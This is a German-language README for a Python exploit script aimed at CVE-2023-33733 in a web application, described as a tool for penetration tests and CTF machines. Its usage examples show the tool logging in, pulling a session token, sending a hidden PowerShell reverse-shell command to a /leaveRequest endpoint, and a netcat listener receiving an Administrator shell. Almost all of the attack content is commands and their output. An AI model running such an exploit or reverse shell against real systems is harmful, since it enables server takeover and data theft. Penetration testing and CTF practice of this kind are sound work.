
Python-Exploit-Skript für CVE-2023-33733, das auf Webanwendungen abzielt. Automatisiert Authentifizierung, Sitzungsextraktion und Reverse-Shell-Übergabe für Penetrationstests und CTF-Umgebungen.
Ich habe diese Schwachstelle weder gefunden noch nehme ich Anerkennung dafür in Anspruch. Dies ist lediglich ein Skript, das ich erstellt habe, um diese Schwachstelle für ein CTF einfacher auszunutzen. Für die ursprünglichen Informationen siehe: https://github.com/c53elyas/CVE-2023-33733
Dieses Skript soll lediglich ein schnelles Python3-Skript zum Ausnutzen von CVE-2023-33733 sein. Sie müssen den Host, den Port, den Befehl und ein gültiges Session-Cookie angeben.
kali@kali:~/Desktop$ python3 exp.py --help
usage: foothold.py [-h] --host HOST --port PORT --cmd CMD --session SESSION
options:
-h, --help show this help message and exit
--host HOST
--port PORT, -p PORT
--cmd CMD, -c CMD
--username USERNAME, -u USERNAME
--password PASSWORD, -ps PASSWORD
--session SESSION, --cookie SESSION, -sc SESSION
Session cookie
kali@kali:~/Desktop$ python3 exp.py --host "vuln.server" --port 80 --cmd "powershell -nop -w hidden -e <your revshell code here>" --username "<your username here>" --password "<your password here>"
[*] Logging in to http://vuln.server:80
Retreived session cookie: SESSION=...
[*] Extracting session token...
[*] Token extracted: .abc.xyz
[*] Building Exploit...
[*] Exploit built
[*] Preparing request
[*] Sending request to http://vuln.server:80/leaveRequest
[*] Sending a reverse shell should cause request to hang
[*] Request sent
[*] Probable success. Status Code 504
kali@kali:~/Desktop$ python3 exp.py --host "vuln.server" --port 80 --cmd "powershell -nop -w hidden -e <your revshell code here>" --session "<your cookie here>"
[*] Building Exploit...
[*] Exploit built
[*] Preparing request
[*] Sending request to http://vuln.server:80/leaveRequest
[*] Sending a reverse shell should cause request to hang
[*] Request sent
[*] Probable success. Status Code 500
# Listener
kali@kali:~/Desktop$ nc -lnvp 9001 connect to [10.10.10.2] from (UNKNOWN) [10.10.10.1] 50246 whoami Administrator